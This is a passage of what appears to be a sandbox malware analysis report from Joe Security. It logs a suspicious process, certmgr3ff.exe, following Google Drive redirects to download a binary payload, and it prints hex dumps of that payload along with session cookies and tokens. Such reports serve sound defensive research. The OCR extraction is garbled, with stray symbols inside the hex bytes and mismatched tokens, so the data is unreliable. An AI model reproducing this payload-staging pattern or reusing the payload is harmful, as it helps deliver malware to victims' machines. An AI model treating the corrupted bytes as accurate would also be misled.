Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-
model, hotrod-chrome-processors, Want-Digest, x-chrome-connected, X-ClientDetails, X-Client-Version, X-Firebase-
Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-
Firebase-Auth-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-
GoogApps-Allowed-Domains, X-Goog-AdX-Buyer-Impersonation, X-Goog-Api-Client, X-Goog-Visibilities, X-Goog-AuthU
ser, Xx-goog-ext-124712974-jspb, x-goog-ext-251363160-jspb, x-goog-ext-259736195-jspb, X-Goog-Pageld, X-Goog-En
code-Response-If-Executable, X-Goog-Correlation-ld, X-Goog-Request-Info, X-Goog-Request-Reason, X-Goog-Experim
ents, x-goog-iam-authority-selector, x-goog-iam-authorization-token, X-Goog-Spatula, X-Goog-Travel-Bgr, X-Goog-Travel-
Settings, X-Goog-Upload-Command, X-Goog-Upload-Content-Disposition, X-Goog-Upload-Content-Length, X-Goog-
Upload-Content-Type, X-Goog-Upload-File-Name, X-Goog-Upload-Header-Content-Encoding, X-Goog-Upload-Header-C
ontent-Length, X-Goog-Upload-Header-Content-Type, X-Goog-Upload-Header-Transfer-Encoding, X-Goog-Upload-Offset,
X-Goog-Upload-Protocol, x-goog-user-project, X-Goog-Visitor-ld, X-Goog-FieldMask, X-Google-Project-Override, X-Goog-
Api-Key, X-HTTP-Method-Override, X-JavaScript-User-Agent, X-Pan-Versionid, X-Proxied-User-IP, X-Origin, X-Referer,
X-Requested-With, X-Stadia-Client-Context, X-Upload-Content-Length, X-Upload-Content-Type, X-Use-HTTP-Status-
Code-Override, X-los-Bundle-Identifier, X-Android-Package, X-Ariane-Xsrf-Token, X-YouTube-VVT, X-YouTube-Page-CL,
X-YouTube-Page-Timestamp, X-Compass-Routing-Destination, x-framework-xsrf-token, X-Goog-Meeting-ABR, X-Goog-
Meeting-Botguardid, X-Goog-Meeting-Clientinfo, X-Goog-Meeting-ClientVersion, X-Goog-Meeting-Debugid, X-Goog-
Meeting-ldentifier, X-Goog-Meeting-RtcClient, X-Goog-Meeting-StartSource, X-Goog-Meeting-Token, X-Client-Data, x-
sdm-id-token, X-Sfdc-Authorization, MIME-Version, Content-Transfer-Encoding, X-Earth-Engine-App-ID-Token, X-Earth-E
ngine-Computation-Profile, X-Earth-Engine-Computation-Profiling, X-Play-Console-Experiments-Override, X-Play-C
onsole-Session-Id, x-alkali-account-key, x-alkali-application-key, x-alkali-auth-apps-namespace, x-alkali-auth-entities-
namespace, x-alkali-auth-entity, x-alkali-client-locale, EES-S7E-MODE, cast-device-capabilities, X-Server-Timeout
Access-Control-Allow-Methods: GET,OPTIONS

P3P: CP="This is not a P3P policy! See http://www.google.com/support/accounts/answer/151657?hl=en for more info."
Location: https://docs.google.com/nonceSigner?nonce=r167qul5841hi&continue=https://doc-00-60-docs.googleuserco
ntent.com/docs/securesc/or48ihskOvmif5iful3e48tbcinjbv55/peotigcjuutlcr6g08d513d6opcs93g9/1634133075000/182818
95610876391208/04225796272126474013Z/1cavmvfhBkRkr58kPbP8ymMPJIAEJZGE13?e%3Ddownload&hash=n
elffd4kaaa27pue6e32mldfstfdgasf

Date: Wed, 13 Oct 2021 13:51:47 GMT

Expires: Wed, 13 Oct 2021 13:51:47 GMT

Cache-Control: private, max-age=0

Content-Length: 0

Server: UploadServer

Set-Cookie: AUTH_2b3btrhtkn05e9f8mgnbbcclritoc6m9_nonce=r167qul5841hi; Domain=doc-00-60-docs.googleu
sercontent.com; Expires=Wed, 13-Oct-2021 14:01:47 GMT,; Path=/docs/securesc/or48ihskOvmif5iful3e48tbcinjbv5s5; S
ecure; SameSite=none; HttpOnly

Content-Type: text/html; charset=UTF-8

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; m
a=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close

Destination IP  Destination Port Process
172.217.168.78 443 C:\Program Files (x86)\AidrOp8Ix\certmgr3ff.exe

Data

GET /nonceSigner?nonce=r167qul5841hi&continue=https://doc-00-60-docs.googleusercontent.com/docs/securesc/or48i
hskOvmif5iful3e48tbcinjbv55/peotigcjuutlcr6g08d513d6opcs93g9/1634133075000/18281895610876391208/0422
5796272126474013Z/1cavmvfhBkRkr58kPbP8ymMPJAEJZGE13?e%3Ddownload&hash=nelffd4kaaa27pue6e32
mldfstfdgasf HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Cache-Control: no-cache

Connection: Keep-Alive

Host: docs.google.com

Cookie: NID=511=erCQGVR30AbnIJ5pNFpHSCGAYJI62W5dN4HM7_6YgJIXNAuvU7WRafMRXMCMPUdUZRh5Qtdjggd
8vMSDtMgwA8YkuahRtOx0V301S2YDycscUArSU4sks1bjEliTSreHgGwIrYdswWnbS3-plvVy97QEU2IECEpIGBbrpS
mmZ_Evs
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kBytes
Timestamp transferred Direction Data

2021-10-13 13:51:47 UTC 176 IN HTTP/1.1 302 Found
Content-Type: application/binary
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Wed, 13 Oct 2021 13:51:47 GMT
Location: https://doc-00-60-docs.googleusercontent.com/docs/securesc/or48ihskOvmif5iful3e48tbcinjbv55/peotigcj
uutlcr6g08d513d6opcs93g9/1634133075000/18281895610876391208/04225796272126474013Z/1cavmvfhBKRkr58kPb
P8ymMPJAEJZGE13?e=download&nonce=r167qul5841hi&user=04225796272126474013Z&hash=htm37s8j60I
12inv0q761u8k5rdo7ceb
Strict-Transport-Security: max-age=31536000
Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentSignerHttp/cspreport
Content-Security-Policy: script-src 'nonce-EjQxErA+Hzqw3tq0TWYjUw' ‘unsafe-inline';object-src 'none';base-uri 'self';rep
ort-uri /_/DriveUntrustedContentSignerHttp/cspreport;worker-src 'self'
Cross-Origin-Resource-Policy: cross-origin
Report-To: {"group”:"DriveUntrustedContentSignerHitp","max_age":2592000,"endpoints":[{"url":"https://csp.withg
oogle.com/csp/report-to/DriveUntrustedContentSignerHttp/external"}]}
Cross-Origin-Opener-Policy: same-origin; report-to="DriveUntrustedContentSignerHttp"
Server: ESF
Content-Length: 0
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; m
a=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close

Session ID Source IP Source Port Destination IP Destination Port Process
5 192.168.11.20 49827 172.217.168.33 443 C:\Program Files (x86)\AidrOp8Ix\certmgr3ff.exe
kBytes
Timestamp transferred Direction Data
2021-10-13 13:51:47 UTC 178 ouT GET /docs/securesc/or48ihskOvmif5iful3e48tbcinjbv55/peotigcjuutlcr6g08d513d6opcs93g9/1634133075000/18281895610

876391208/04225796272126474013Z/1cavmvthBKRkr58kPbP8ymMPJAEJZGE13?e=download&nonce=r167qul
5841hi&user=04225796272126474013Z&hash=htm37s8j60112inv0q761u8k5rdo7ceb HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Cache-Control: no-cache

Connection: Keep-Alive

Host: doc-00-60-docs.googleusercontent.com

Cookie: AUTH_2b3btrhtkn05e9f8mgnbbcclritocém9_nonce=r167qul5841hi
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kBytes
Timestamp transferred

2021-10-13 13:51:48 UTC 178

2021-10-13 13:51:48 UTC 182

2021-10-13 13:51:48 UTC 187

2021-10-13 13:51:48 UTC 191

2021-10-13 13:51:48 UTC 194

Copyright Joe Security LLC 2021

Direction

IN

Data

HTTP/1.1 200 OK

X-GUploader-UploadID: ADPycduwNvBkykwKiMJ5kz92A94GQ44BUOk4kUBBWLM1qL5kBCP6iJ4iZ_elAZXh2KQN
L690kdAUjMpwvzWLgOXWuRI

Access-Control-Allow-Origin: *

Access-Control-Allow-Credentials: false

Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-
Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token,
financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-Patientld, GData-Version, google-cloud-resource-prefix, linked-
customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, I-None-Match, If-Unmodified-
Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-
model, hotrod-chrome-processors, Want-Digest, x-chrome-connected, X-ClientDetails, X-Client-Version, X-Firebase-
Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-
Firebase-Auth-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-
GoogApps-Allowed-Domains, X-Goog-AdX-Buyer-Impersonation, X-Goog-Api-Client, X-Goog-Visibilities, X-Goog-AuthU
ser, Xx-goog-ext-124712974-jspb, x-goog-ext-251363160-jspb, x-goog-ext-259736195-jspb, X-Goog-Pageld, X-Goog-En
code-Response-If-Executable, X-Goog-Correlation-ld, X-Goog-Request-Info, X-Goog-Request-Reason, X-Goog-Experim
ents, x-goog-iam-authority-selector, x-goog-iam-authorization-token, X-Goog-Spatula, X-Goog-Travel-Bgr, X-Goog-Travel-
Settings, X-Goog-Upload-Command, X-Goog-Upload-Content-Disposition, X-Goog-Upload-Content-Length, X-Goog-
Upload-Content-Type, X-Goog-Upload-File-Name, X-Goog-Upload-Header-Content-Encoding, X-Goog-Upload-Header-C
ontent-Length, X-Goog-Upload-Header-Content-Type, X-Goog-Upload-Header-Transfer-Encoding, X-Goog-Upload-Offset,
X-Goog-Upload-Protocol, x-goog-user-project, X-Goog-Visitor-ld, X-Goog-FieldMask, X-Google-Project-Override, X-Goog-
Api-Key, X-HTTP-Method-Override, X-JavaScript-User-Agent, X-Pan-Versionid, X-Proxied-User-IP, X-Origin, X-Referer,
X-Requested-With, X-Stadia-Client-Context, X-Upload-Content-Length, X-Upload-Content-Type, X-Use-HTTP-Status-
Code-Override, X-los-Bundle-Identifier, X-Android-Package, X-Ariane-Xsrf-Token, X-YouTube-VVT, X-YouTube-Page-CL,
X-YouTube-Page-Timestamp, X-Compass-Routing-Destination, x-framework-xsrf-token, X-Goog-Meeting-ABR, X-Goog-
Meeting-Botguardid, X-Goog-Meeting-ClientInfo, X-Goog-Meeting-ClientVersion, X-Goog-Meeting-Debugid, X-Goog-
Meeting-Identifier, X-Goog-Meeting-RtcClient, X-Goog-Meeting-StartSource, X-Goog-Meeting-Token, X-Client-Data, X-
sdm-id-token, X-Sfdc-Authorization, MIME-Version, Content-Transfer-Encoding, X-Earth-Engine-App-ID-Token, X-Earth-E
ngine-Computation-Profile, X-Earth-Engine-Computation-Profiling, X-Play-Console-Experiments-Override, X-Play-C
onsole-Session-Id, x-alkali-account-key, x-alkali-application-key, x-alkali-auth-apps-namespace, x-alkali-auth-entities-
namespace, x-alkali-auth-entity, x-alkali-client-locale, EES-S7E-MODE, cast-device-capabilities, X-Server-Timeout
Access-Control-Allow-Methods: GET,OPTIONS

P3P: CP="This is not a P3P policy! See http://www.google.com/support/accounts/answer/151657?hl=en for more info."
Content-Type: application/octet-stream

Content-Disposition: attachment;filename="oodf_BKGjFIg78.bin";filename*=UTF-8"oodf_BKGjFlg78.bin

Content-Length: 167488

Date: Wed, 13 Oct 2021 13:51:47 GMT

Expires: Wed, 13 Oct 2021 13:51:47 GMT

Cache-Control: private, max-age=0

X-Goog-Hash: crc32c=vfJ+GA==

Server: UploadServer

Set-Cookie: AUTH_2b3btrhtkn05e9f8mgnbbcclritocém9=04225796272126474013Z|1634133075000|cco6hf5p2hi2d6
167mrd596ulprmvso4; Domain=.googleusercontent.com; Expires=Wed, 13-Oct-2021 13:56:47 GMT; Path=/docs/securesc/
or48ihskOvmif5iful3e48thcinjbvs5; Secure; SameSite=none; HttpOnly

Set-Cookie: AUTH_2b3btrhtkn05e9f8mgnbbcclritoc6m9_nonce=; Domain=doc-00-60-docs.googleusercontent.com;
Expires=Tue, 12-Oct-2021 13:51:47 GMT; Path=/docs/securesc/or48ihskOvmif5iful3e48tbcinjbv55; Secure; SameSi
te=none; HttpOnly

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; m
a=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close

Data Raw: 65 52 7e ¢8 bd a3 Oc da 73 13 7c 05 bd d9 28 7e 01 64 b8 3b d0 7f cf 51 dc 99 26 b0 eb ac cf 92 82 64 85 80
cd 09 5e 97 32 4d b0 fe 61 76 2c 1c a4 43 39 fd ca da b2 10 64 8a d1 Ob e2 e5 22 41 1e 9e ae aa d8 33 a2 91 7e 77 df eb
ce 32 3f 1b 1c 86 1b 1d da b0 73 bb 59 6e fa b4 9e 1e 44 82 fO bf 66 2d 31 ac 52 5¢ 11 c¢5 ed a0 44 29 ce cf 6d fb 36 fe 18
a0 75 ad 72 cc b9 38 89 d5 64 24 21 bb 57 af fa 24 b9 06 26 c9 54 ef 89 9d b7 c7 de ac 3e 80 fc 08 54 57 6f 1d 8d 38 07
23 74 46 df 44 6e 91 c0 33 65 b3 44 e2 46 67 02 b0 f2 c3 cf 73 Ob 2f d5 83 56 1a f6 d7 f4 b3 4a 27 71 al 74 94 84 €8 93
3c 19 40 3a 2d f9 f6 27 ¢7 2e 7c 02 99 fc 00 74 3b 28 37 cd 38 37 89 ab d1 29 78 ef 25 ce b4 8e d0 93 db c6 82 Oe 22 88
ec 54 77 4e be e0 bc a6 2d c1 c9 2a 8c 0d Oe 87 f7 3d

Data Ascii: eR~s|(~d;Q&d"2Mav,C9d"A3~w2?sYnDf-1R\D)m6ur8d$!W$&T>TWo8#tFDn3eDFgs/VJ'qt<@:-'.|t;(787)x
%"TWN-*=

Data Raw: 7e ce 81 Ob 18 34 43 f3 07 08 6a af 06 3d 78 6d 91 98 29 16 5c 41 0d 21 64 55 d4 25 02 4a 1a 83 65 a3 70 6d
7b 17 7b d2 66 03 8a ad 6a d5 1d 7d 31 8f 75 8b 80 6e 77 c5 97 d4 Of 2f f5 a7 44 d8 49 e7 b2 c4 56 7d 1d b8 0d 03 76 36
87 6b 55 b3 8¢ 82 c4 75 13 54 4f dd 84 68 77 1f 67 7f 04 df 4b 8b ff 93 09 60 71 79 d5 39 0a 2b 7e 87 9a 76 ee a7 €3 ee
517 39 4a 26 01 11 69 f5 35 16 95 1f d7 93 16 db 06 €5 3e 81 63 9b b0 96 fb Ic 44 c9 22 00 24 98 42 €9 ae bc e2 c8 25
32 ef cc 97 aa 22 92 b7 24 36 51 4e 15 39 da fe 54 fa 95 06 b5 a7 a0 9e 07 d4 79 f9 79 0d 9a a8 6d dc 6¢ f1 ¢c8 5f f0 9e 0
d4 3¢ 58 f0 05 82 84 94 a4 3f 46 db f0 d3 dc 20 {7 46 a7 44 5a 36 Ob 42 93 3f a3 2a 52 61 5¢ e 5¢ 29 d2 f2 95 5a ¢3 04 3¢
53 87 ac 7d 5d 3d d4 0a 3a 34 dO 1c ba c3 86 96 26

Data Ascii: ~4Cj=xm)\AldU%Jepm{{fi}1unw/DIV}v6kUuTOhwgK qy9+-vQ9J&i5>cD"$B%2" $S6QNITyyml_<X?F FDZ6B?*
Ra\\)Z<S}]=:4&

Data Raw: 8c 83 76 c9 de aa ab 99 bc 1a a3 48 38 e4 ce 98 df ee 80 7f 43 4f 82 76 29 5e 6¢ d4 99 Oa 31 fd a6 5d e2 83 ee
50 d8 80 b8 bf Of 6f 28 13 b2 48 d3 31 56 6¢ 08 a0 bb 54 38 1d d8 17 Oc 22 76 f7 b6 d2 66 81 d0 36 8a 05 cc 30 1d a8 4d
6f e2 al 08 7e 8f b6 e8 8a bc 80 71 2f bc a8 26 al a8 4d 5b ad a3 cc b4 54 87 83 ac 4e 38 92 04 80 bl f9 1e b2 28 f6 3b
46 c7 26 78 ec d4 e8 21 65 56 05 6f d6 67 27 b8 92 26 c8 4b 1c 50 03 5 d0 8d 49 e2 a3 d2 f1 8f b5 11 b9 2e dd ac 3f 93
3 Ob 62 70 Oa 38 a3 Oe b0 b0 b9 00 c1 dO f3 8b a8 cf 67 79 a4 ef 97 a8 a7 d1 8d a2 d1 56 f6 0d 5b 84 ce 8a 8f 8d a7 dd
57 41 9a 6e 14 8f e7 86 ae bf fe c¢3 65 df 6e 5¢ 3f 44 3d 21 87 cf 59 94 0a 05 71 52 72 64 6b 14 35 22 f9 9b c2 ba fa 49 1f
43 bf d0 84 46 bd 4c b5 f9 34 09 bb 30 97 7c 6a ec

Data Ascii: vH8COV)1]Po(H1VIT8"vi60Mo~q/&M[TN8(;F&x!eVog'&KPI.?bp8gyV[WAnen\?D=!YqRrdk5"ICFL40|j

Data Raw: 49 13 29 ab a5 ee e4 6b 8e d1 24 74 Oa c9 b8 46 ff al 68 ee 92 6b cb 1a 8e 5b ef 2d e4 3e 38 9d e6 8b a9 88
10 44 f3 aa 3b c3 5¢ 95 2e 29 5¢ 1e c0 80 34 el e2 Oe 7b cb b7 ae be 15 ba 79 23 6e d6 78 30 c2 09 56 6a b3 e4 08 18 43
6a 8f b5 bl eb 05 b4 1a 28 e4 3d 44 2d 3e c9 7a fa c7 3d 83 Oa b7 4c 7a 39 24 21 0f c2 14 65 51 e7 20 ¢3 01 90 ae 8e 13
50 d4 ee 5f c5 e8 9b 81 21 5b 72 8e 0d d7 c9 2a 2e 14 90 e4 41 c9 ad dd c0 34 d4 d1 4e d6 38 80 e4 ce 7c 8f 2d 99 d7 6f
5c 84 73 70 1d b8 39 1c 7f ec 55 c¢6 70 3d 15 18 d2 e4 b3 f4 9f 08 3d 85 5f 9e 1e 37 b8 b0 7b c4 be bf fd 26 a7 23 af 5a 50
c2 45 aa 2f 41 68 4b 3¢ 32 3c c3 fc 48 67 3a 81 22 ec 8a 3a 98 c6 3 85 7f 9f fd 3e 3f 6f 9f 7a ca 56 ce aa d9 24 3d 4a 14
b4 34 9 68 73 83 24 0a 41 fa 27 81 37 3f 8a 70 0Of

Data Ascii: [)k$tFhk[->8D;\.)\4{y#nx0V|Cj(=D->z=Lz9%!eQ P_![r*.A4N8|-0\sp9Up==_7{&#ZPE/AhK<2<Hg:":>?0zV$=J4hs$
A7?2p
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kBytes
Timestamp transferred Direction Data

2021-10-13 13:51:48 UTC 195 IN Data Raw: 8f 8a d2 e5 43 d8 08 d1 8f 06 2a 54 78 35 7d 65 fb da ba el 43 Ob ff c9 6e 16 07 b7 06 ca f5 f7 88 25 ¢3 89 4d
71 €9 32 0f 51 c7 74 02 98 56 5e d4 5a 76 bb ed b7 73 e3 b2 67 30 59 4d bf 7c 04 e4 4b 4c 4c 34 94 4a 11 b2 03 33 f9 13
0f 81 8a d9 57 17 6d 6f c7 fe 5¢ af 9f 1c a6 53 d5 f1 83 7f c8 1d 3c fb 52 €9 7 20 09 5f 58 €3 b6 2e 3d 88 c1 6d 59 c0 95
01 7a 51 cd 10 9a 3f 96 5f 73 bf 66 bc f1 d9 16 7c a8 16 3c a9 f2 80 a5 1a 1d 18 07 fO a6 9e 18 9d 14 8b c8 ad 5b ac ef 98
4c 27 ac 99 34 96 6f a5 fa a2 48 2c e7 3f 87 9e ec 43 34 46 fd ac Oe 30 2a 03 20 b2 41 6e 7e 2f 5¢ 88 9b 21 {3 19 3f ba 90
e2 d9 fa Oe ba 8e 75 73 ac 80 8e 44 82 7b c3 de 29 b0 4b 52 5c ee 3a 2c 47 4c 1a 35 44 30 03 f7 05 10 21 96 52 72 cc b9
b3 6d 4d 60 a5 cc a4 12 al fa a3 4b 40 dd fO
Data Ascii: C*Tx5}eCn%Mq2QtV"Zvsg0YM|KLL4I3Wmo\S<R _X.=mYzQ?_sf|<[L'40H,?C4F0* An~N\!?usD{)KR\:,GL5D
O'RrmM K@

2021-10-13 13:51:48 UTC 197 IN Data Raw: 08 42 7f 68 bf b6 0a 05 88 16 1f 08 86 7d 62 22 1d d8 ff 31 cd d8 5d df 8f dc 11 39 89 fc 6 e7 c¢3 25 d6 al 6d
€9 17 16 f2 6f 25 1d 2b 11 c6 34 83 cc 36 4f 95 02 c1 db 41 37 ab 93 24 8b 23 44 9d Oe 2e 01 83 c9 27 c8 6f 05 0d 4b 61
79 80 48 64 b9 f7 73 02 89 19 f0 18 fc ea 9e 78 87 1f cd 07 b1 ef 79 78 9b 6a 07 74 7a 05 3b 86 47 85 88 bb 59 9a 5b Oa
4f 77 f1 ea 1f aa 95 8c d4 74 17 dc dO 5d 49 36 ea 88 53 62 46 4e 64 71 9a ad 7f e2 e7 40 99 cc 13 8c c9 06 c4 a9 ee c5
2e 02 76 30 1b 8d el 54 46 81 e7 03 4e ed 2e ce cf 9a 53 9c 3e 9f 1a 1f 78 ec aa Oc 97 7e bf 5a 25 03 db 9c b2 13 f1 5d
8b 4d 91 53 87 82 35 eb 82 90 ad fc 5a 32 58 d7 43 2e 8f €9 93 c0 4e 18 69 a5 2e 9a 82 0d bc 3f 17 ba 79 dc dd d5 5b 3e
8e 33 2e 38 a5 3f 09 ca 02 ef 5b b2 57 2c 1f cc 26 2d
Data Ascii: Bh}b"1]9%mo0%+460A7$#D.'0KayHdsxyxjtz;GY[Owt]I6SbFNdg@.vOTFN.S>x~Z%]MS5Z2XC.Ni.?y[>3.8?[W,&-

2021-10-13 13:51:48 UTC 198 IN Data Raw: 31 b3 ed bl 5f 5d 12 5e 12 b3 d3 ca 07 fa 20 ab cf 02 3b a8 b7 df 2d 30 03 ea 43 dc f1 8f fc 0d 00 8a 5f 8d 91
64 85 b1 46 c8 55 77 ed ce 86 21 cf ba 13 85 65 99 17 b5 04 71 6a 10 5b 52 8e 4c b5 d8 f8 24 77 0d 44 Oc 23 7e ca 6e 8a
6f 2e 79 5b 48 4d 1a 15 03 8f 0d 8d b5 3c ef 66 e7 6¢ 06 d4 0a 20 7c 83 f8 64 3b 3 37 f8 93 1d ae 8f c¢3 f4 0d 63 b6 Ob 54
61 7b a6 0d c1 c9 92 06 79 Oe cb 75 f8 64 cc 28 d8 6f 4c 17 d7 84 3f ee 24 06 51 e2 01 79 73 d3 b5 a3 1e 4d b8 b0 c2 8a
do f8 7a 7d 28 36 7a 4d e8 1c 1d 59 c5 01 fe 91 bd 91 b6 8f c7 98 8f 3e Of 6f 5b c8 7b 28 3f d1 d1 24 7e d0 54 51 9c 7e ec
f9 d1 42 ba 14 18 a0 60 4a b1 13 3b f6 5e ef 7f 6¢ 7a 31 d8 c1 28 d4 af fb 34 25 77 7f 50 58 al 44 aa 4a f7 b1 90 bl e2 8c
2b b8 2d 66 09 c1 fc b9 19 cd 12 9f bf db 79
Data Ascii: 1_]* ;-0C_dFUw!egj[RL$wD#~no.y[HM<fl |d;7cTa{yud(oL?$QysMz}(6zMY>0[{(?$~TQ~B"J;Nz1(4%wPXDJ+-fy

2021-10-13 13:51:48 UTC 199 IN Data Raw: 23 18 8d f6 09 bf 08 Ob 89 a5 87 96 a5 e9 6a b4 93 de f2 32 e0 67 9b 2d ef 95 c6 fa 22 80 54 f8 ¢7 04 f6 82 51
9d 12 18 93 84 0a 92 0d 9b 59 91 e4 97 b3 12 5 43 80 d3 fc 22 d6 49 31 5d 04 7e 8a 73 73 1c bl cc 96 7c 34 5d 02 a2 cO
5d 95 d4 9f 77 ad 3b 1c 4d a4 26 a9 6a f9 55 09 02 8d 86 38 78 d2 50 76 96 d1 bb bb 39 ef b8 37 67 el Oe bb e6 50 17 92
15 f0 6d 47 a7 ff cd 7d 43 54 12 09 70 Of 9b b3 87 ca ed 77 ¢3 09 5f 94 23 db 88 75 5e bb 88 82 ¢8 14 b3 d5 96 4b 00 31
63 0e 5b f2 5¢ 66 ab el 2d da 78 aa cd d0 08 11 7f 1d 1b 1d 17 bl 2f fa 93 a2 e0 23 92 43 72 c4 3a 24 20 96 d6 9f 3a 56
73 7 01 2e ce 5b 7a 93 4a 84 29 e7 31 3d 32 b4 cf bd 4b eb 8 5a 2d c¢8 91 14 2f 0a eb f5 8a f7 98 57 3c b8 17 d9 71 a0
2d 99 98 b0 4a 7f e4 44 e8 €3 32 e8 01 3b ac 52 0d 47
Data Ascii: #j2g-"TQYC"I11]~ss|4]]w;M&jU8xPv97gPmG}CTpw_#u K1c[\f-x/#Cr:$ :Vs.[zJ)1=2KZ-/W<qg-JD2;RG

2021-10-13 13:51:48 UTC 200 IN Data Raw: 56 ¢3 8b 5f c1 dc b9 f0 08 04 1d 3a Of f4 cf de cd 6d 22 df 6f c7 1a d0 99 13 d9 54 28 ae fd 77 7a 38 43 83 ea
62 c9 3a07 81 ec d3 00 8b 08 el 9c 0d e3 fd 44 21 e3 ad ef 8c df a9 0d 33 f0 93 ed fb 27 bb 61 c2 f3 40 78 10 44 13 d7 b0
f0 e7 14 02 18 eb 93 8d 73 c5 56 66 8c f3 1f Of 3e fc 46 6¢ 22 17 5d b3 47 2f dc 67 8e 32 c9 fa 04 b0 4d 3f ff 2f 23 58 bb 1f
85 4e fc 1b 40 82 fb 20 f8 4d 19 24 4e 1f 86 b8 44 21 45 36 82 65 43 ¢7 05 d1 e2 eb aa 19 e8 da 41 25 el 20 55 6b 8f 75
17 ef 94 91 6b 34 ea 88 02 6f ef a9 92 fb 63 c7 45 6a 6b d0 68 73 d7 a7 ff bl 03 ae 68 5b 2e e5 22 58 1d eb 60 30 bc 39
5a 68 4d fd fc 24 44 c¢7 35 af 94 12 d2 5f 15 52 84 7a 83 fd de 90 a9 8a 9e cc 4d eb 81 21 38 92 79 d0 8d Oe 78 9e 8f 56
€830 30 d2 c3 b4 24 a7 8e 17 53 b0 bl e7 d6
Data Ascii: V_:m"oT(wz8Ch:D!3'a@xDsVf>FI'|G/g2M?/#XN@ M$ND!E6eCA% Ukuk4ocEjkhsh[."X"09ZhM$D5_RzM!8yx
V00$S

2021-10-13 13:51:48 UTC 202 IN Data Raw: 87 06 8e 37 82 37 fa b6 7a 31 e3 52 9b 54 11 ba a0 72 29 09 8a b5 cf 36 fe 18 67 fO c5 8d 33 46 64 31 a7 64
e3 aac8 12 5e 05 e5 b0 a5 07 b6 d0 d3 bb 43 1c cb b7 b3 1e 37 0b 13 cc da f1 1c ad 68 66 8a 9f 51 54 9b f3 c6 e0 6f 10
lael f7 d7 b8 b9 9a al 9b a2 db 2a ca 9e 8e 5b 10 3a 11 bb b3 4a aa f4 5b f2 0d 44 a3 27 76 a0 59 b9 08 a8 be 1e 96 19
bd b5 fb fd b7 fe d4 d0 30 ef a2 75 54 dd 29 87 cf 9f 57 5f ac b7 d7 41 57 88 81 6d cf 71 9e 1a b2 Ob 76 b0 31 2b d5 3c 36
8598 e5 2a 9c 7 3¢ 36 49 65 f8 al 41 c4 d9 99 99 d2 56 c3 ca 06 73 cb 88 d0 d0 33 83 b1 47 4c 50 32 58 2a Ob 84 bd c9
a7 e0 76 01 90 d4 b0 b7 dd 3f 65 3c a9 54 59 3c 88 fa 17 ed 9f 21 ef 40 90 a3 7b aa al 06 44 45 02 80 bc 42 e2 a7 df 15
72 2d 69 ff 7d 68 c4 09 5f 08 ca 1d c4 c6 ac d6 2c 78
Data Ascii: 77z1RTr)6g3Fd1d"C7hfQTo*[:J[D'vYOuT)W_AWmqv1l+<6*<6leAVs3GLP2X*v?e<TY<!@{DEBr-ith_,x

2021-10-13 13:51:48 UTC 203 IN Data Raw: 30 19 da 6e f4 b2 41 02 3d bf 8a Ob ec 55 28 12 56 2f 5¢ 16 b2 68 a9 79 1b 13 1c Of b5 4f 73 e2 7d 35 fa 99 93
09 28 1e 77 71 c4 c5 96 el 68 ee 58 2d d9 e3 5 a5 f4 86 3e d0 52 87 d7 93 e5 54 8b ¢7 62 7f 27 45 45 96 70 ef bf f1 45
8b b0 48 56 61 70 da 45 1e 36 80 f1 71 ad 52 b0 40 ca ea Oc 8a 15 e4 fb 14 b8 69 e9 cd 61 51 80 28 7d 19 ad 60 Ob 96 Of
47 41 fa be ef 93 60 c0 23 b8 42 f0 fb a8 f4 0d cO 2¢ 7c ad 29 7 87 5¢ 72 01 b7 42 4e 96 Ob 17 df 90 c1 5c 8 4d 41 be 5d
84 11 a2 Oe 7f a7 1d 70 e2 7e 9e 76 ac 09 98 e2 5b e3 d5 c2 d5 f2 €9 1e 94 14 b5 85 96 88 d0 78 63 60 5b 35 19 a2 27 f1
b6 25 40 66 83 b3 28 62 7f c3 93 50 db d7 25 ab 3 d0 99 d8 5a b2 3f 9b 67 8d 19 c5 25 de 14 a3 ac 57 52 2a 13 5f 7¢ 53
3f 8c 2b 67 b3 6d 23 b0 aa d6 ac 10 07 cf 63 4a 3f
Data Ascii: OnA=U(V/\hyOs}5(wghX->RTh'EEpEHVapE6qR@iaQ(} GA'#B, |)\rBN\MA]p~V[xc [5'%@f(bP%Z?g%WR*_|S?
+gm#cJ?

2021-10-13 13:51:48 UTC 204 IN Data Raw: 15 97 b8 32 12 Oc 1a ed ba f9 5c 00 c3 bf bf 76 12 8d eb fc a9 c5 c2 2f aa 73 a0 d4 15 df b3 df ab 1f 08 fe 79 20
